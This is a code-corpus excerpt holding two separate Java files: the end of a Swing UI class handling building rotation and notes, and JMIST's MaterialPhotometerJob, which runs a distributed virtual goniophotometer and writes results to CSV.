} else if (part instanceof Mirror) {
final Mirror mirror = (Mirror) part;
mirror.setRelativeAzimuth(mirror.getRelativeAzimuth() + Math.toDegrees(rotationAngle));
mirror.draw();
}
}
count++;
EventQueue.invokeLater(() -> {
Scene.getInstance().setEdited(true);
EnergyPanel.getInstance().updateProperties();
});
return null;
});
final int partCount = Scene.getInstance().getParts().size();
try {
Thread.sleep(200 + partCount * 5); // give it enough time for the above call to complete (the more parts it has, the more time it needs)
} catch (final InterruptedException e) {
// ignore
}
}
// undo only after the white loop ends
EventQueue.invokeLater(() -> {
if (part == null) {
SceneManager.getInstance().getUndoManager().addEdit(new RotateBuildingCommand(null, rotationAngle * count));
} else {
if (part instanceof Foundation) {
SceneManager.getInstance().getUndoManager().addEdit(new RotateBuildingCommand((Foundation) part, rotationAngle * count));
} else if (part instanceof SolarPanel || part instanceof Rack || part instanceof Mirror) {
if (c != null) {
SceneManager.getInstance().getUndoManager().addEdit(c);
}
}
}
});
}
}.start();
}
@Override
public void mouseReleased(final MouseEvent e) {
mousePressed = false;
}
});
}
return rotateButton;
}
JToggleButton getNoteButton() {
if (noteButton == null) {
noteButton = new JToggleButton();
noteButton.setToolTipText("Show note");
noteButton.setIcon(new ImageIcon(MainPanel.class.getResource("icons/note.png")));
noteButton.setFocusable(false);
noteButton.addActionListener(e -> {
MainPanel.getInstance().setNoteVisible(noteButton.isSelected());
if (noteButton.isSelected()) {
getNoteTextArea().requestFocusInWindow();
}
});
addMouseOverEffect(noteButton);
}
return noteButton;
}
void setRotationAngle(final double x) {
rotationAngle = x;
}
double getRotationAngleAbsolute() {
return rotationAngleAbsolute;
}
/**
* the string that gets inserted or removed in the note area
*/
public String getNoteString() {
return noteString;
}
public void setNoteString(final String s) {
noteString = s;
}
}
| |
/**
* Java Modular Image Synthesis Toolkit (JMIST)
* Copyright (C) 2018 Bradley W. Kimmel
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
package ca.eandb.jmist.framework.job;
import java.io.IOException;
import java.io.PrintStream;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;
import ca.eandb.jdcp.job.AbstractParallelizableJob;
import ca.eandb.jdcp.job.TaskWorker;
import ca.eandb.jmist.framework.Material;
import ca.eandb.jmist.framework.color.Color;
import ca.eandb.jmist.framework.color.ColorModel;
import ca.eandb.jmist.framework.color.WavelengthPacket;
import ca.eandb.jmist.framework.measurement.CollectorSphere;
import ca.eandb.jmist.framework.measurement.ColorSensorArray;
import ca.eandb.jmist.framework.measurement.MaterialPhotometer;
import ca.eandb.jmist.math.SphericalCoordinates;
import ca.eandb.util.io.Archive;
import ca.eandb.util.progress.ProgressMonitor;
/**
* A <code>ParallelizableJob</code> that measures the scattering distribution of
* <code>Material</code>s using a virtual goniophotometer [1].<br>
* <br>
* [1] Krishnaswamy, A.; Baranoski, G.V.G.; Rokne, J.G.,
* <a href="http://dx.doi.org/10.1080/10867651.2004.10504894">Improving the
* Reliability/Cost Ratio of Goniophotometric Comparisons</a>, Journal of
* Graphics Tools 9(3):1-20, 2004.
*/
public final class MaterialPhotometerJob extends AbstractParallelizableJob {
/** A builder for creating a <code>MaterialPhotometerJob</code>. */
public static final class Builder {
private final List<Material> specimens = new ArrayList<>();
private final List<SphericalCoordinates> incidentAngles = new ArrayList<>();
private final List<WavelengthPacket> wavelengths = new ArrayList<>();
private long samplesPerMeasurement = 1;
private long samplesPerTask = 0;
private long tasksPerMeasurement = 1;
private CollectorSphere collector = CollectorSphere.NULL;
private Builder() {}
/**
* Builds a new <code>MaterialPhotometerJob</code>.
* @return The new <code>MaterialPhotometerJob</code>.
*/
public MaterialPhotometerJob build() {
if (samplesPerTask == 0) {
samplesPerTask = samplesPerMeasurement / tasksPerMeasurement;
}
return new MaterialPhotometerJob(
specimens.toArray(new Material[0]),
incidentAngles.toArray(new SphericalCoordinates[0]),
wavelengths.toArray(new WavelengthPacket[0]),
samplesPerMeasurement, samplesPerTask, collector);
}
/**
* Adds a <code>Material</code> to be measured.
* @param specimen The <code>Material</code> to be measured.
* @return This <code>Builder</code>.
*/
public Builder addSpecimen(Material specimen) {
specimens.add(specimen);
return this;
}
/**
* Adds an incident angle to direct incident light from.
* @param incidentAngle The <code>SphericalCoordinates</code> for the
* incident angle.
* @return This <code>Builder</code>.
*/
public Builder addIncidentAngle(SphericalCoordinates incidentAngle) {
incidentAngles.add(incidentAngle);
return this;
}
/**
* Adds a wavelength to use for measurement.
* @param wavelength The <code>WavelengthPacket</code>.
* @return This <code>Builder</code>.
*/
public Builder addWavelength(WavelengthPacket wavelength) {
wavelengths.add(wavelength);
return this;
}
/**
* Sets the number of samples to use for each measurement.
* @param samplesPerMeasurement The number of samples to use.
* @return This <code>Builder</code>.
*/
public Builder setSamplesPerMeasurement(long samplesPerMeasurement) {
this.samplesPerMeasurement = samplesPerMeasurement;
return this;
}
/**
* Sets the number of samples to use for each task. If this is not set,
* it defaults to a value determined by the number of tasks per measurement.
* The default number of tasks per measurement is 1.
* @param samplesPerTask The number of samples to use.
* @return This <code>Builder</code>.
* @see #setTasksPerMeasurement(long)
*/
public Builder setSamplesPerTask(long samplesPerTask) {
this.samplesPerTask = samplesPerTask;
return this;
}
/**
* Sets the number of tasks to divide each measurement into. The default is
* 1. This is only relevant if the number of samples per task is not set
* explicitly.
* @param tasksPerMeasurement The number of tasks to divide each measurement
* into.
* @return This <code>Builder</code>.
* @see #setSamplesPerTask(long)
*/
public Builder setTasksPerMeasurement(long tasksPerMeasurement) {
this.samplesPerTask = 0;
this.tasksPerMeasurement = tasksPerMeasurement;
return this;
}
/**
* Sets the collector sphere to use.
* @param collector The <code>CollectorSphere</code> to use.
* @return This <code>Builder</code>.
*/
public Builder setCollector(CollectorSphere collector) {
this.collector = collector;
return this;
}
}
/**
* Returns a new builder to create a <code>MaterialPhotometerJob</code>.
* @return The new <code>Builder</code>.
*/
public static Builder newBuilder() {
return new Builder();
}
/** Serialization version ID. */
private static final long serialVersionUID = -1521758677633805555L;
private MaterialPhotometerJob(Material[] specimens,
SphericalCoordinates[] incidentAngles, WavelengthPacket[] wavelengths,
long samplesPerMeasurement, long samplesPerTask,
CollectorSphere collector) {
this.worker = new PhotometerTaskWorker(collector);
this.specimens = specimens;
this.incidentAngles = incidentAngles;
this.wavelengths = wavelengths;
this.samplesPerMeasurement = samplesPerMeasurement;
this.samplesPerTask = samplesPerTask;
this.totalTasks = specimens.length
* wavelengths.length
* incidentAngles.length
* ((int) (samplesPerMeasurement / samplesPerTask) +
((samplesPerMeasurement % samplesPerTask) > 0 ? 1 : 0));
}
@Override
public void initialize() {
this.results = new ColorSensorArray[
wavelengths.length * incidentAngles.length * specimens.length];
for (int i = 0; i < this.results.length; i++) {
ColorModel colorModel = this.getWavelength(i).getColorModel();
this.results[i] =
new ColorSensorArray(worker.collector.sensors(), colorModel);
maxChannels = Math.max(maxChannels, colorModel.getNumChannels());
}
}
@Override
public Object getNextTask() {
if (!this.isComplete()) {
PhotometerTask task = this.getPhotometerTask(this.nextMeasurementIndex);
if (++this.nextMeasurementIndex >= this.results.length) {
this.outstandingSamplesPerMeasurement += this.samplesPerTask;
this.nextMeasurementIndex = 0;
}
return task;
} else {
return null;
}
}
private PhotometerTask getPhotometerTask(int measurementIndex) {
return new PhotometerTask(
this.getSpecimen(measurementIndex),
this.getIncidentAngle(measurementIndex),
this.getWavelength(measurementIndex),
this.samplesPerTask,
measurementIndex);
}
private Material getSpecimen(int measurementIndex) {
return this.specimens[measurementIndex /
(wavelengths.length * incidentAngles.length)];
}
private SphericalCoordinates getIncidentAngle(int measurementIndex) {
int specimenMeasurementIndex =
measurementIndex % (wavelengths.length * incidentAngles.length);
return this.incidentAngles[specimenMeasurementIndex / wavelengths.length];
}
private WavelengthPacket getWavelength(int measurementIndex) {
int specimenMeasurementIndex =
measurementIndex % (wavelengths.length * incidentAngles.length);
return this.wavelengths[specimenMeasurementIndex % wavelengths.length];
}
@Override
public void submitTaskResults(Object task, Object results,
ProgressMonitor monitor) {
PhotometerTask info = (PhotometerTask) task;
ColorSensorArray sensorArray = (ColorSensorArray) results;
this.results[info.measurementIndex].merge(sensorArray);
monitor.notifyProgress(++this.tasksReturned, this.totalTasks);
}
@Override
public boolean isComplete() {
return this.outstandingSamplesPerMeasurement >= this.samplesPerMeasurement;
}
private final String colorToCSV(Color color) {
double[] values = color.toArray();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < maxChannels; i++) {
if (i > 0) {
sb.append(",");
}
if (i < values.length) {
sb.append(values[i]);
}
}
return sb.toString();
}
@Override
public void finish() {
PrintStream out = new PrintStream(createFileOutputStream("photometer.csv"));
writeColumnHeadings(out);
for (int specimenIndex = 0, n = 0;
specimenIndex < specimens.length;
specimenIndex++) {
for (int incidentAngleIndex = 0;
incidentAngleIndex < incidentAngles.length;
incidentAngleIndex++) {
SphericalCoordinates incidentAngle = incidentAngles[incidentAngleIndex];
for (int wavelengthIndex = 0;
wavelengthIndex < wavelengths.length;
wavelengthIndex++, n++) {
ColorSensorArray sensorArray = results[n];
for (int sensor = 0; sensor < worker.collector.sensors(); sensor++) {
SphericalCoordinates exitantAngle =
worker.collector.getSensorCenter(sensor);
double solidAngle = worker.collector.getSensorSolidAngle(sensor);
double projectedSolidAngle =
worker.collector.getSensorProjectedSolidAngle(sensor);
Color raw = sensorArray.getTotalWeight(sensor);
Color reflectance = raw.divide(outstandingSamplesPerMeasurement);
out.printf(
"%d,%f,%f,%d,%d,%f,%f,%f,%f,%d,%s,%s,%s,%s",
specimenIndex,
incidentAngle.polar(),
incidentAngle.azimuthal(),
wavelengthIndex,
sensor,
exitantAngle.polar(),
exitantAngle.azimuthal(),
solidAngle,
projectedSolidAngle,
outstandingSamplesPerMeasurement,
colorToCSV(raw),
colorToCSV(reflectance),
colorToCSV(reflectance.divide(projectedSolidAngle)),
colorToCSV(reflectance.divide(solidAngle)));
out.println();
}
}
}
}
out.close();
}
/**
* Writes the CSV column headings to the result stream.
* @param out The <code>PrintStream</code> to write the column headings to.
*/
private void writeColumnHeadings(PrintStream out) {
out.print("\"Specimen\",");
out.print("\"Incident Polar (radians)\",");
out.print("\"Incident Azimuthal (radians)\",");
out.print("\"Wavelength Packet\",");
out.print("\"Sensor\",");
out.print("\"Exitant Polar (radians)\",");
out.print("\"Exitant Azimuthal (radians)\",");
out.print("\"Solid Angle (sr)\",");
out.print("\"Projected Solid Angle (sr)\",");
out.print("\"Samples\",");
for (int i = 0; i < maxChannels; i++) {
out.printf("\"Raw (%s)\",", wavelengths.length > 1
? Integer.toString(i)
: wavelengths[0].getColorModel().getChannelName(i));
}
for (int i = 0; i < maxChannels; i++) {
out.printf("\"Reflectance (%s)\",", wavelengths.length > 1
? Integer.toString(i)
: wavelengths[0].getColorModel().getChannelName(i));
}
for (int i = 0; i < maxChannels; i++) {
out.printf("\"BSDF (%s)\",", wavelengths.length > 1
? Integer.toString(i)
: wavelengths[0].getColorModel().getChannelName(i));
}
for (int i = 0; i < maxChannels - 1; i++) {
out.printf("\"SPF (%s)\",", wavelengths.length > 1
? Integer.toString(i)
: wavelengths[0].getColorModel().getChannelName(i));
}
out.printf("\"SPF (%s)\"", wavelengths.length > 1
? Integer.toString(maxChannels - 1)
: wavelengths[0].getColorModel().getChannelName(maxChannels - 1));
out.println();
}
@Override
protected void archiveState(Archive ar) throws IOException,
ClassNotFoundException {
results = (ColorSensorArray[]) ar.archiveObject(results);
nextMeasurementIndex = ar.archiveInt(nextMeasurementIndex);
outstandingSamplesPerMeasurement =
ar.archiveLong(outstandingSamplesPerMeasurement);
tasksReturned = ar.archiveInt(tasksReturned);
maxChannels = ar.archiveInt(maxChannels);
}
@Override
public TaskWorker worker() {
return this.worker;
}
private static class PhotometerTask implements Serializable {
/** Serialization version ID. */
private static final long serialVersionUID = 4238727637644746732L;
public final Material specimen;
public final SphericalCoordinates incident;
public final WavelengthPacket wavelength;
public final long samples;
public final int measurementIndex;
public PhotometerTask(Material specimen,
SphericalCoordinates incident, WavelengthPacket wavelength,
long samples, int measurementIndex) {
this.specimen = specimen;
this.incident = incident;
this.wavelength = wavelength;
this.samples = samples;
this.measurementIndex = measurementIndex;
}
}
private static class PhotometerTaskWorker implements TaskWorker, Serializable {
/** Serialization version ID. */
private static final long serialVersionUID = -6729377656284858068L;
/**
* Creates a new <code>PhotometerTaskWorker</code>.
* @param collector The prototype <code>CollectorSphere</code> from
* which clones are constructed to record hits to.
*/
public PhotometerTaskWorker(CollectorSphere collector) {
this.collector = collector;
}
@Override
public Object performTask(Object task, ProgressMonitor monitor) {
PhotometerTask info = (PhotometerTask) task;
MaterialPhotometer photometer =
new MaterialPhotometer(collector, info.wavelength.getColorModel());
photometer.setSpecimen(info.specimen);
photometer.setIncidentAngle(info.incident);
photometer.setWavelengthPacket(info.wavelength);
photometer.castPhotons(info.samples, monitor);
return photometer.getSensorArray();
}
/**
* The prototype <code>CollectorSphere</code> from which clones are
* constructed to record hits to.
*/
private final CollectorSphere collector;
}
/** The <code>TaskWorker</code> that performs the work for this job. */
private final PhotometerTaskWorker worker;
private final Material[] specimens;
private final WavelengthPacket[] wavelengths;
private final SphericalCoordinates[] incidentAngles;
private final long samplesPerMeasurement;
private final long samplesPerTask;
private final int totalTasks;
private transient int maxChannels;
private transient ColorSensorArray[] results;
private transient int nextMeasurementIndex = 0;
private transient long outstandingSamplesPerMeasurement = 0;
private transient int tasksReturned = 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.